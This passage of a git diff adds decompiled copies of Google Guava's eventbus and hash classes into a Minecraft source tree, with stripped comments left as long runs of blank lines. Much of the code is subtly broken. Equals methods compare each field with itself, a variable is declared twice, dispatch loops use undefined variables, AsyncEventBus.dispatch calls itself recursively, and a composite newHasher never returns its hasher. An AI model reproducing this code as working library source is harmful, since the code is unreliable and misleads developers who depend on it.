+  implements SubscriberFindingStrategy
+{
+  private static final LoadingCache<Class<?>, ImmutableList<Method>> subscriberMethodsCache = CacheBuilder.newBuilder().weakKeys().build(new CacheLoader()
+  {
+
+    public ImmutableList<Method> load(Class<?> concreteClass)
+      throws Exception
+    {
+      return AnnotatedSubscriberFinder.getAnnotatedMethodsInternal(concreteClass);
+    }
+  });
+  
+
+
+
+
+
+
+  AnnotatedSubscriberFinder() {}
+  
+
+
+
+
+
+  public Multimap<Class<?>, EventSubscriber> findAllSubscribers(Object listener)
+  {
+    Multimap<Class<?>, EventSubscriber> methodsInListener = HashMultimap.create();
+    Class<?> clazz = listener.getClass();
+    for (Method method : getAnnotatedMethods(clazz)) {
+      Class<?>[] parameterTypes = method.getParameterTypes();
+      Class<?> eventType = parameterTypes[0];
+      EventSubscriber subscriber = makeSubscriber(listener, method);
+      methodsInListener.put(eventType, subscriber);
+    }
+    return methodsInListener;
+  }
+  
+  private static ImmutableList<Method> getAnnotatedMethods(Class<?> clazz) {
+    try {
+      return (ImmutableList)subscriberMethodsCache.getUnchecked(clazz);
+    } catch (UncheckedExecutionException e) {
+      throw Throwables.propagate(e.getCause());
+    }
+  }
+  
+  private static final class MethodIdentifier {
+    private final String name;
+    private final List<Class<?>> parameterTypes;
+    
+    MethodIdentifier(Method method) {
+      name = method.getName();
+      parameterTypes = Arrays.asList(method.getParameterTypes());
+    }
+    
+    public int hashCode()
+    {
+      return Objects.hashCode(new Object[] { name, parameterTypes });
+    }
+    
+    public boolean equals(@Nullable Object o)
+    {
+      if ((o instanceof MethodIdentifier)) {
+        MethodIdentifier ident = (MethodIdentifier)o;
+        return (name.equals(name)) && (parameterTypes.equals(parameterTypes));
+      }
+      return false;
+    }
+  }
+  
+  private static ImmutableList<Method> getAnnotatedMethodsInternal(Class<?> clazz) {
+    Set<? extends Class<?>> supers = TypeToken.of(clazz).getTypes().rawTypes();
+    Map<MethodIdentifier, Method> identifiers = Maps.newHashMap();
+    for (Class<?> superClazz : supers) {
+      for (Method superClazzMethod : superClazz.getMethods()) {
+        if (superClazzMethod.isAnnotationPresent(Subscribe.class)) {
+          Class<?>[] parameterTypes = superClazzMethod.getParameterTypes();
+          if (parameterTypes.length != 1) {
+            throw new IllegalArgumentException("Method " + superClazzMethod + " has @Subscribe annotation, but requires " + parameterTypes.length + " arguments.  Event subscriber methods must require a single argument.");
+          }
+          
+
+
+          MethodIdentifier ident = new MethodIdentifier(superClazzMethod);
+          if (!identifiers.containsKey(ident)) {
+            identifiers.put(ident, superClazzMethod);
+          }
+        }
+      }
+    }
+    return ImmutableList.copyOf(identifiers.values());
+  }
+  
+
+
+
+  private static EventSubscriber makeSubscriber(Object listener, Method method)
+  {
+    EventSubscriber wrapper;
+    
+
+
+    EventSubscriber wrapper;
+    
+
+
+    if (methodIsDeclaredThreadSafe(method)) {
+      wrapper = new EventSubscriber(listener, method);
+    } else {
+      wrapper = new SynchronizedEventSubscriber(listener, method);
+    }
+    return wrapper;
+  }
+  
+
+
+
+
+
+
+
+  private static boolean methodIsDeclaredThreadSafe(Method method)
+  {
+    return method.getAnnotation(AllowConcurrentEvents.class) != null;
+  }
+}
diff --git a/src/minecraft/com/google/common/eventbus/AsyncEventBus.java b/src/minecraft/com/google/common/eventbus/AsyncEventBus.java
new file mode 100644
index 0000000..f53d88e
--- /dev/null
+++ b/src/minecraft/com/google/common/eventbus/AsyncEventBus.java
@@ -0,0 +1,121 @@
+package com.google.common.eventbus;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.Executor;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public class AsyncEventBus
+  extends EventBus
+{
+  private final Executor executor;
+  private final ConcurrentLinkedQueue<EventBus.EventWithSubscriber> eventsToDispatch = new ConcurrentLinkedQueue();
+  
+
+
+
+
+
+
+
+
+
+  public AsyncEventBus(String identifier, Executor executor)
+  {
+    super(identifier);
+    this.executor = ((Executor)Preconditions.checkNotNull(executor));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public AsyncEventBus(Executor executor, SubscriberExceptionHandler subscriberExceptionHandler)
+  {
+    super(subscriberExceptionHandler);
+    this.executor = ((Executor)Preconditions.checkNotNull(executor));
+  }
+  
+
+
+
+
+
+
+
+  public AsyncEventBus(Executor executor)
+  {
+    super("default");
+    this.executor = ((Executor)Preconditions.checkNotNull(executor));
+  }
+  
+  void enqueueEvent(Object event, EventSubscriber subscriber)
+  {
+    eventsToDispatch.offer(new EventBus.EventWithSubscriber(event, subscriber));
+  }
+  
+
+
+
+
+  protected void dispatchQueuedEvents()
+  {
+    for (;;)
+    {
+      EventBus.EventWithSubscriber eventWithSubscriber = (EventBus.EventWithSubscriber)eventsToDispatch.poll();
+      if (eventWithSubscriber == null) {
+        break;
+      }
+      
+      dispatch(event, subscriber);
+    }
+  }
+  
+
+
+
+  void dispatch(final Object event, final EventSubscriber subscriber)
+  {
+    Preconditions.checkNotNull(event);
+    Preconditions.checkNotNull(subscriber);
+    executor.execute(new Runnable()
+    {
+      public void run()
+      {
+        AsyncEventBus.this.dispatch(event, subscriber);
+      }
+    });
+  }
+}
diff --git a/src/minecraft/com/google/common/eventbus/DeadEvent.java b/src/minecraft/com/google/common/eventbus/DeadEvent.java
new file mode 100644
index 0000000..ecb42d9
--- /dev/null
+++ b/src/minecraft/com/google/common/eventbus/DeadEvent.java
@@ -0,0 +1,70 @@
+package com.google.common.eventbus;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public class DeadEvent
+{
+  private final Object source;
+  private final Object event;
+  
+  public DeadEvent(Object source, Object event)
+  {
+    this.source = Preconditions.checkNotNull(source);
+    this.event = Preconditions.checkNotNull(event);
+  }
+  
+
+
+
+
+
+  public Object getSource()
+  {
+    return source;
+  }
+  
+
+
+
+
+
+  public Object getEvent()
+  {
+    return event;
+  }
+}
diff --git a/src/minecraft/com/google/common/eventbus/EventBus.java b/src/minecraft/com/google/common/eventbus/EventBus.java
new file mode 100644
index 0000000..11ff7b6
--- /dev/null
+++ b/src/minecraft/com/google/common/eventbus/EventBus.java
@@ -0,0 +1,408 @@
+package com.google.common.eventbus;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Throwables;
+import com.google.common.cache.CacheBuilder;
+import com.google.common.cache.CacheLoader;
+import com.google.common.cache.LoadingCache;
+import com.google.common.collect.HashMultimap;
+import com.google.common.collect.Multimap;
+import com.google.common.collect.SetMultimap;
+import com.google.common.reflect.TypeToken;
+import com.google.common.reflect.TypeToken.TypeSet;
+import com.google.common.util.concurrent.UncheckedExecutionException;
+import java.lang.reflect.InvocationTargetException;
+import java.util.Collection;
+import java.util.LinkedList;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Queue;
+import java.util.Set;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReadWriteLock;
+import java.util.concurrent.locks.ReentrantReadWriteLock;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public class EventBus
+{
+  private static final LoadingCache<Class<?>, Set<Class<?>>> flattenHierarchyCache = CacheBuilder.newBuilder().weakKeys().build(new CacheLoader()
+  {
+
+
+    public Set<Class<?>> load(Class<?> concreteClass)
+    {
+
+      return TypeToken.of(concreteClass).getTypes().rawTypes();
+    }
+  });
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final SetMultimap<Class<?>, EventSubscriber> subscribersByType = HashMultimap.create();
+  
+  private final ReadWriteLock subscribersByTypeLock = new ReentrantReadWriteLock();
+  
+
+
+
+
+
+  private final SubscriberFindingStrategy finder = new AnnotatedSubscriberFinder();
+  
+
+  private final ThreadLocal<Queue<EventWithSubscriber>> eventsToDispatch = new ThreadLocal()
+  {
+    protected Queue<EventBus.EventWithSubscriber> initialValue() {
+      return new LinkedList();
+    }
+  };
+  
+
+  private final ThreadLocal<Boolean> isDispatching = new ThreadLocal()
+  {
+    protected Boolean initialValue() {
+      return Boolean.valueOf(false);
+    }
+  };
+  
+
+  private SubscriberExceptionHandler subscriberExceptionHandler;
+  
+
+  public EventBus()
+  {
+    this("default");
+  }
+  
+
+
+
+
+
+  public EventBus(String identifier)
+  {
+    this(new LoggingSubscriberExceptionHandler(identifier));
+  }
+  
+
+
+
+
+
+  public EventBus(SubscriberExceptionHandler subscriberExceptionHandler)
+  {
+    this.subscriberExceptionHandler = ((SubscriberExceptionHandler)Preconditions.checkNotNull(subscriberExceptionHandler));
+  }
+  
+
+
+
+
+
+
+
+  public void register(Object object)
+  {
+    Multimap<Class<?>, EventSubscriber> methodsInListener = finder.findAllSubscribers(object);
+    
+    subscribersByTypeLock.writeLock().lock();
+    try {
+      subscribersByType.putAll(methodsInListener);
+    } finally {
+      subscribersByTypeLock.writeLock().unlock();
+    }
+  }
+  
+
+
+
+
+
+  public void unregister(Object object)
+  {
+    Multimap<Class<?>, EventSubscriber> methodsInListener = finder.findAllSubscribers(object);
+    
+    for (Map.Entry<Class<?>, Collection<EventSubscriber>> entry : methodsInListener.asMap().entrySet()) {
+      Class<?> eventType = (Class)entry.getKey();
+      Collection<EventSubscriber> eventMethodsInListener = (Collection)entry.getValue();
+      
+      subscribersByTypeLock.writeLock().lock();
+      try {
+        Set<EventSubscriber> currentSubscribers = subscribersByType.get(eventType);
+        if (!currentSubscribers.containsAll(eventMethodsInListener)) {
+          throw new IllegalArgumentException("missing event subscriber for an annotated method. Is " + object + " registered?");
+        }
+        
+        currentSubscribers.removeAll(eventMethodsInListener);
+      } finally {
+        subscribersByTypeLock.writeLock().unlock();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void post(Object event)
+  {
+    Set<Class<?>> dispatchTypes = flattenHierarchy(event.getClass());
+    
+    boolean dispatched = false;
+    for (Class<?> eventType : dispatchTypes) {
+      subscribersByTypeLock.readLock().lock();
+      try {
+        Set<EventSubscriber> wrappers = subscribersByType.get(eventType);
+        
+        if (!wrappers.isEmpty()) {
+          dispatched = true;
+          for (EventSubscriber wrapper : wrappers) {
+            enqueueEvent(event, wrapper);
+          }
+        }
+      } finally {
+        subscribersByTypeLock.readLock().unlock();
+      }
+    }
+    
+    if ((!dispatched) && (!(event instanceof DeadEvent))) {
+      post(new DeadEvent(this, event));
+    }
+    
+    dispatchQueuedEvents();
+  }
+  
+
+
+
+
+  void enqueueEvent(Object event, EventSubscriber subscriber)
+  {
+    ((Queue)eventsToDispatch.get()).offer(new EventWithSubscriber(event, subscriber));
+  }
+  
+
+
+
+
+
+
+  void dispatchQueuedEvents()
+  {
+    if (((Boolean)isDispatching.get()).booleanValue()) {
+      return;
+    }
+    
+    isDispatching.set(Boolean.valueOf(true));
+    try {
+      Queue<EventWithSubscriber> events = (Queue)eventsToDispatch.get();
+      EventWithSubscriber eventWithSubscriber;
+      while ((eventWithSubscriber = (EventWithSubscriber)events.poll()) != null) {
+        dispatch(event, subscriber);
+      }
+    } finally {
+      isDispatching.remove();
+      eventsToDispatch.remove();
+    }
+  }
+  
+
+
+
+
+
+
+  void dispatch(Object event, EventSubscriber wrapper)
+  {
+    try
+    {
+      wrapper.handleEvent(event);
+    } catch (InvocationTargetException e) {
+      try {
+        subscriberExceptionHandler.handleException(e.getCause(), new SubscriberExceptionContext(this, event, wrapper.getSubscriber(), wrapper.getMethod()));
+
+
+
+      }
+      catch (Throwable t)
+      {
+
+
+        Logger.getLogger(EventBus.class.getName()).log(Level.SEVERE, String.format("Exception %s thrown while handling exception: %s", new Object[] { t, e.getCause() }), t);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @VisibleForTesting
+  Set<Class<?>> flattenHierarchy(Class<?> concreteClass)
+  {
+    try
+    {
+      return (Set)flattenHierarchyCache.getUnchecked(concreteClass);
+    } catch (UncheckedExecutionException e) {
+      throw Throwables.propagate(e.getCause());
+    }
+  }
+  
+
+
+
+
+
+  private static final class LoggingSubscriberExceptionHandler
+    implements SubscriberExceptionHandler
+  {
+    private final Logger logger;
+    
+
+
+
+
+
+    public LoggingSubscriberExceptionHandler(String identifier)
+    {
+      logger = Logger.getLogger(EventBus.class.getName() + "." + (String)Preconditions.checkNotNull(identifier));
+    }
+    
+
+
+    public void handleException(Throwable exception, SubscriberExceptionContext context)
+    {
+      logger.log(Level.SEVERE, "Could not dispatch event: " + context.getSubscriber() + " to " + context.getSubscriberMethod(), exception.getCause());
+    }
+  }
+  
+  static class EventWithSubscriber
+  {
+    final Object event;
+    final EventSubscriber subscriber;
+    
+    public EventWithSubscriber(Object event, EventSubscriber subscriber)
+    {
+      this.event = Preconditions.checkNotNull(event);
+      this.subscriber = ((EventSubscriber)Preconditions.checkNotNull(subscriber));
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/eventbus/EventSubscriber.java b/src/minecraft/com/google/common/eventbus/EventSubscriber.java
new file mode 100644
index 0000000..e88a2d4
--- /dev/null
+++ b/src/minecraft/com/google/common/eventbus/EventSubscriber.java
@@ -0,0 +1,115 @@
+package com.google.common.eventbus;
+
+import com.google.common.base.Preconditions;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class EventSubscriber
+{
+  private final Object target;
+  private final Method method;
+  
+  EventSubscriber(Object target, Method method)
+  {
+    Preconditions.checkNotNull(target, "EventSubscriber target cannot be null.");
+    
+    Preconditions.checkNotNull(method, "EventSubscriber method cannot be null.");
+    
+    this.target = target;
+    this.method = method;
+    method.setAccessible(true);
+  }
+  
+
+
+
+
+
+
+  public void handleEvent(Object event)
+    throws InvocationTargetException
+  {
+    Preconditions.checkNotNull(event);
+    try {
+      method.invoke(target, new Object[] { event });
+    } catch (IllegalArgumentException e) {
+      throw new Error("Method rejected target/argument: " + event, e);
+    } catch (IllegalAccessException e) {
+      throw new Error("Method became inaccessible: " + event, e);
+    } catch (InvocationTargetException e) {
+      if ((e.getCause() instanceof Error)) {
+        throw ((Error)e.getCause());
+      }
+      throw e;
+    }
+  }
+  
+  public String toString() {
+    return "[wrapper " + method + "]";
+  }
+  
+  public int hashCode() {
+    int PRIME = 31;
+    return (31 + method.hashCode()) * 31 + System.identityHashCode(target);
+  }
+  
+  public boolean equals(@Nullable Object obj)
+  {
+    if ((obj instanceof EventSubscriber)) {
+      EventSubscriber that = (EventSubscriber)obj;
+      
+
+
+      return (target == target) && (method.equals(method));
+    }
+    return false;
+  }
+  
+  public Object getSubscriber() {
+    return target;
+  }
+  
+  public Method getMethod() {
+    return method;
+  }
+}
diff --git a/src/minecraft/com/google/common/eventbus/Subscribe.java b/src/minecraft/com/google/common/eventbus/Subscribe.java
new file mode 100644
index 0000000..2927e79
--- /dev/null
+++ b/src/minecraft/com/google/common/eventbus/Subscribe.java
@@ -0,0 +1,12 @@
+package com.google.common.eventbus;
+
+import com.google.common.annotations.Beta;
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.RUNTIME)
+@Target({java.lang.annotation.ElementType.METHOD})
+@Beta
+public @interface Subscribe {}
diff --git a/src/minecraft/com/google/common/eventbus/SubscriberExceptionContext.java b/src/minecraft/com/google/common/eventbus/SubscriberExceptionContext.java
new file mode 100644
index 0000000..91a52af
--- /dev/null
+++ b/src/minecraft/com/google/common/eventbus/SubscriberExceptionContext.java
@@ -0,0 +1,76 @@
+package com.google.common.eventbus;
+
+import com.google.common.base.Preconditions;
+import java.lang.reflect.Method;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SubscriberExceptionContext
+{
+  private final EventBus eventBus;
+  private final Object event;
+  private final Object subscriber;
+  private final Method subscriberMethod;
+  
+  SubscriberExceptionContext(EventBus eventBus, Object event, Object subscriber, Method subscriberMethod)
+  {
+    this.eventBus = ((EventBus)Preconditions.checkNotNull(eventBus));
+    this.event = Preconditions.checkNotNull(event);
+    this.subscriber = Preconditions.checkNotNull(subscriber);
+    this.subscriberMethod = ((Method)Preconditions.checkNotNull(subscriberMethod));
+  }
+  
+
+
+
+  public EventBus getEventBus()
+  {
+    return eventBus;
+  }
+  
+
+
+  public Object getEvent()
+  {
+    return event;
+  }
+  
+
+
+  public Object getSubscriber()
+  {
+    return subscriber;
+  }
+  
+
+
+  public Method getSubscriberMethod()
+  {
+    return subscriberMethod;
+  }
+}
diff --git a/src/minecraft/com/google/common/eventbus/SubscriberExceptionHandler.java b/src/minecraft/com/google/common/eventbus/SubscriberExceptionHandler.java
new file mode 100644
index 0000000..4769447
--- /dev/null
+++ b/src/minecraft/com/google/common/eventbus/SubscriberExceptionHandler.java
@@ -0,0 +1,6 @@
+package com.google.common.eventbus;
+
+public abstract interface SubscriberExceptionHandler
+{
+  public abstract void handleException(Throwable paramThrowable, SubscriberExceptionContext paramSubscriberExceptionContext);
+}
diff --git a/src/minecraft/com/google/common/eventbus/SubscriberFindingStrategy.java b/src/minecraft/com/google/common/eventbus/SubscriberFindingStrategy.java
new file mode 100644
index 0000000..bf38670
--- /dev/null
+++ b/src/minecraft/com/google/common/eventbus/SubscriberFindingStrategy.java
@@ -0,0 +1,8 @@
+package com.google.common.eventbus;
+
+import com.google.common.collect.Multimap;
+
+abstract interface SubscriberFindingStrategy
+{
+  public abstract Multimap<Class<?>, EventSubscriber> findAllSubscribers(Object paramObject);
+}
diff --git a/src/minecraft/com/google/common/eventbus/SynchronizedEventSubscriber.java b/src/minecraft/com/google/common/eventbus/SynchronizedEventSubscriber.java
new file mode 100644
index 0000000..4a6268a
--- /dev/null
+++ b/src/minecraft/com/google/common/eventbus/SynchronizedEventSubscriber.java
@@ -0,0 +1,50 @@
+package com.google.common.eventbus;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SynchronizedEventSubscriber
+  extends EventSubscriber
+{
+  public SynchronizedEventSubscriber(Object target, Method method)
+  {
+    super(target, method);
+  }
+  
+  public void handleEvent(Object event)
+    throws InvocationTargetException
+  {
+    synchronized (this) {
+      super.handleEvent(event);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/AbstractByteHasher.java b/src/minecraft/com/google/common/hash/AbstractByteHasher.java
new file mode 100644
index 0000000..77eb006
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/AbstractByteHasher.java
@@ -0,0 +1,122 @@
+package com.google.common.hash;
+
+import com.google.common.base.Preconditions;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractByteHasher
+  extends AbstractHasher
+{
+  private final ByteBuffer scratch = ByteBuffer.allocate(8).order(ByteOrder.LITTLE_ENDIAN);
+  
+
+  AbstractByteHasher() {}
+  
+
+  protected abstract void update(byte paramByte);
+  
+
+  protected void update(byte[] b)
+  {
+    update(b, 0, b.length);
+  }
+  
+
+
+  protected void update(byte[] b, int off, int len)
+  {
+    for (int i = off; i < off + len; i++) {
+      update(b[i]);
+    }
+  }
+  
+  public Hasher putByte(byte b)
+  {
+    update(b);
+    return this;
+  }
+  
+  public Hasher putBytes(byte[] bytes)
+  {
+    Preconditions.checkNotNull(bytes);
+    update(bytes);
+    return this;
+  }
+  
+  public Hasher putBytes(byte[] bytes, int off, int len)
+  {
+    Preconditions.checkPositionIndexes(off, off + len, bytes.length);
+    update(bytes, off, len);
+    return this;
+  }
+  
+
+  private Hasher update(int bytes)
+  {
+    try
+    {
+      update(scratch.array(), 0, bytes);
+    } finally {
+      scratch.clear();
+    }
+    return this;
+  }
+  
+  public Hasher putShort(short s)
+  {
+    scratch.putShort(s);
+    return update(2);
+  }
+  
+  public Hasher putInt(int i)
+  {
+    scratch.putInt(i);
+    return update(4);
+  }
+  
+  public Hasher putLong(long l)
+  {
+    scratch.putLong(l);
+    return update(8);
+  }
+  
+  public Hasher putChar(char c)
+  {
+    scratch.putChar(c);
+    return update(2);
+  }
+  
+  public <T> Hasher putObject(T instance, Funnel<? super T> funnel)
+  {
+    funnel.funnel(instance, this);
+    return this;
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/AbstractCompositeHashFunction.java b/src/minecraft/com/google/common/hash/AbstractCompositeHashFunction.java
new file mode 100644
index 0000000..888f50f
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/AbstractCompositeHashFunction.java
@@ -0,0 +1,151 @@
+package com.google.common.hash;
+
+import com.google.common.base.Preconditions;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractCompositeHashFunction
+  extends AbstractStreamingHashFunction
+{
+  final HashFunction[] functions;
+  private static final long serialVersionUID = 0L;
+  
+  AbstractCompositeHashFunction(HashFunction... functions)
+  {
+    for (HashFunction function : functions) {
+      Preconditions.checkNotNull(function);
+    }
+    this.functions = functions;
+  }
+  
+
+
+
+  abstract HashCode makeHash(Hasher[] paramArrayOfHasher);
+  
+
+
+
+  public Hasher newHasher()
+  {
+    final Hasher[] hashers = new Hasher[functions.length];
+    for (int i = 0; i < hashers.length; i++) {
+      hashers[i] = functions[i].newHasher();
+    }
+    new Hasher() {
+      public Hasher putByte(byte b) {
+        for (Hasher hasher : hashers) {
+          hasher.putByte(b);
+        }
+        return this;
+      }
+      
+      public Hasher putBytes(byte[] bytes) {
+        for (Hasher hasher : hashers) {
+          hasher.putBytes(bytes);
+        }
+        return this;
+      }
+      
+      public Hasher putBytes(byte[] bytes, int off, int len) {
+        for (Hasher hasher : hashers) {
+          hasher.putBytes(bytes, off, len);
+        }
+        return this;
+      }
+      
+      public Hasher putShort(short s) {
+        for (Hasher hasher : hashers) {
+          hasher.putShort(s);
+        }
+        return this;
+      }
+      
+      public Hasher putInt(int i) {
+        for (Hasher hasher : hashers) {
+          hasher.putInt(i);
+        }
+        return this;
+      }
+      
+      public Hasher putLong(long l) {
+        for (Hasher hasher : hashers) {
+          hasher.putLong(l);
+        }
+        return this;
+      }
+      
+      public Hasher putFloat(float f) {
+        for (Hasher hasher : hashers) {
+          hasher.putFloat(f);
+        }
+        return this;
+      }
+      
+      public Hasher putDouble(double d) {
+        for (Hasher hasher : hashers) {
+          hasher.putDouble(d);
+        }
+        return this;
+      }
+      
+      public Hasher putBoolean(boolean b) {
+        for (Hasher hasher : hashers) {
+          hasher.putBoolean(b);
+        }
+        return this;
+      }
+      
+      public Hasher putChar(char c) {
+        for (Hasher hasher : hashers) {
+          hasher.putChar(c);
+        }
+        return this;
+      }
+      
+      public Hasher putUnencodedChars(CharSequence chars) {
+        for (Hasher hasher : hashers) {
+          hasher.putUnencodedChars(chars);
+        }
+        return this;
+      }
+      
+      public Hasher putString(CharSequence chars, Charset charset) {
+        for (Hasher hasher : hashers) {
+          hasher.putString(chars, charset);
+        }
+        return this;
+      }
+      
+      public <T> Hasher putObject(T instance, Funnel<? super T> funnel) {
+        for (Hasher hasher : hashers) {
+          hasher.putObject(instance, funnel);
+        }
+        return this;
+      }
+      
+      public HashCode hash() {
+        return makeHash(hashers);
+      }
+    };
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/AbstractHasher.java b/src/minecraft/com/google/common/hash/AbstractHasher.java
new file mode 100644
index 0000000..afb1c03
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/AbstractHasher.java
@@ -0,0 +1,49 @@
+package com.google.common.hash;
+
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractHasher
+  implements Hasher
+{
+  AbstractHasher() {}
+  
+  public final Hasher putBoolean(boolean b)
+  {
+    return putByte((byte)(b ? 1 : 0));
+  }
+  
+  public final Hasher putDouble(double d) {
+    return putLong(Double.doubleToRawLongBits(d));
+  }
+  
+  public final Hasher putFloat(float f) {
+    return putInt(Float.floatToRawIntBits(f));
+  }
+  
+  public Hasher putUnencodedChars(CharSequence charSequence) {
+    int i = 0; for (int len = charSequence.length(); i < len; i++) {
+      putChar(charSequence.charAt(i));
+    }
+    return this;
+  }
+  
+  public Hasher putString(CharSequence charSequence, Charset charset) {
+    return putBytes(charSequence.toString().getBytes(charset));
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/AbstractNonStreamingHashFunction.java b/src/minecraft/com/google/common/hash/AbstractNonStreamingHashFunction.java
new file mode 100644
index 0000000..64adaee
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/AbstractNonStreamingHashFunction.java
@@ -0,0 +1,161 @@
+package com.google.common.hash;
+
+import com.google.common.base.Preconditions;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractNonStreamingHashFunction
+  implements HashFunction
+{
+  AbstractNonStreamingHashFunction() {}
+  
+  public Hasher newHasher()
+  {
+    return new BufferingHasher(32);
+  }
+  
+  public Hasher newHasher(int expectedInputSize)
+  {
+    Preconditions.checkArgument(expectedInputSize >= 0);
+    return new BufferingHasher(expectedInputSize);
+  }
+  
+  public <T> HashCode hashObject(T instance, Funnel<? super T> funnel) {
+    return newHasher().putObject(instance, funnel).hash();
+  }
+  
+  public HashCode hashUnencodedChars(CharSequence input) {
+    int len = input.length();
+    Hasher hasher = newHasher(len * 2);
+    for (int i = 0; i < len; i++) {
+      hasher.putChar(input.charAt(i));
+    }
+    return hasher.hash();
+  }
+  
+  public HashCode hashString(CharSequence input, Charset charset) {
+    return hashBytes(input.toString().getBytes(charset));
+  }
+  
+  public HashCode hashInt(int input) {
+    return newHasher(4).putInt(input).hash();
+  }
+  
+  public HashCode hashLong(long input) {
+    return newHasher(8).putLong(input).hash();
+  }
+  
+  public HashCode hashBytes(byte[] input) {
+    return hashBytes(input, 0, input.length);
+  }
+  
+  private final class BufferingHasher
+    extends AbstractHasher
+  {
+    final AbstractNonStreamingHashFunction.ExposedByteArrayOutputStream stream;
+    static final int BOTTOM_BYTE = 255;
+    
+    BufferingHasher(int expectedInputSize)
+    {
+      stream = new AbstractNonStreamingHashFunction.ExposedByteArrayOutputStream(expectedInputSize);
+    }
+    
+    public Hasher putByte(byte b)
+    {
+      stream.write(b);
+      return this;
+    }
+    
+    public Hasher putBytes(byte[] bytes)
+    {
+      try {
+        stream.write(bytes);
+      } catch (IOException e) {
+        throw new RuntimeException(e);
+      }
+      return this;
+    }
+    
+    public Hasher putBytes(byte[] bytes, int off, int len)
+    {
+      stream.write(bytes, off, len);
+      return this;
+    }
+    
+    public Hasher putShort(short s)
+    {
+      stream.write(s & 0xFF);
+      stream.write(s >>> 8 & 0xFF);
+      return this;
+    }
+    
+    public Hasher putInt(int i)
+    {
+      stream.write(i & 0xFF);
+      stream.write(i >>> 8 & 0xFF);
+      stream.write(i >>> 16 & 0xFF);
+      stream.write(i >>> 24 & 0xFF);
+      return this;
+    }
+    
+    public Hasher putLong(long l)
+    {
+      for (int i = 0; i < 64; i += 8) {
+        stream.write((byte)(int)(l >>> i & 0xFF));
+      }
+      return this;
+    }
+    
+    public Hasher putChar(char c)
+    {
+      stream.write(c & 0xFF);
+      stream.write(c >>> '\b' & 0xFF);
+      return this;
+    }
+    
+    public <T> Hasher putObject(T instance, Funnel<? super T> funnel)
+    {
+      funnel.funnel(instance, this);
+      return this;
+    }
+    
+    public HashCode hash()
+    {
+      return hashBytes(stream.byteArray(), 0, stream.length());
+    }
+  }
+  
+  private static final class ExposedByteArrayOutputStream extends ByteArrayOutputStream
+  {
+    ExposedByteArrayOutputStream(int expectedInputSize) {
+      super();
+    }
+    
+    byte[] byteArray() { return buf; }
+    
+    int length() {
+      return count;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/AbstractStreamingHashFunction.java b/src/minecraft/com/google/common/hash/AbstractStreamingHashFunction.java
new file mode 100644
index 0000000..6d1bd39
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/AbstractStreamingHashFunction.java
@@ -0,0 +1,257 @@
+package com.google.common.hash;
+
+import com.google.common.base.Preconditions;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractStreamingHashFunction
+  implements HashFunction
+{
+  AbstractStreamingHashFunction() {}
+  
+  public <T> HashCode hashObject(T instance, Funnel<? super T> funnel)
+  {
+    return newHasher().putObject(instance, funnel).hash();
+  }
+  
+  public HashCode hashUnencodedChars(CharSequence input) {
+    return newHasher().putUnencodedChars(input).hash();
+  }
+  
+  public HashCode hashString(CharSequence input, Charset charset) {
+    return newHasher().putString(input, charset).hash();
+  }
+  
+  public HashCode hashInt(int input) {
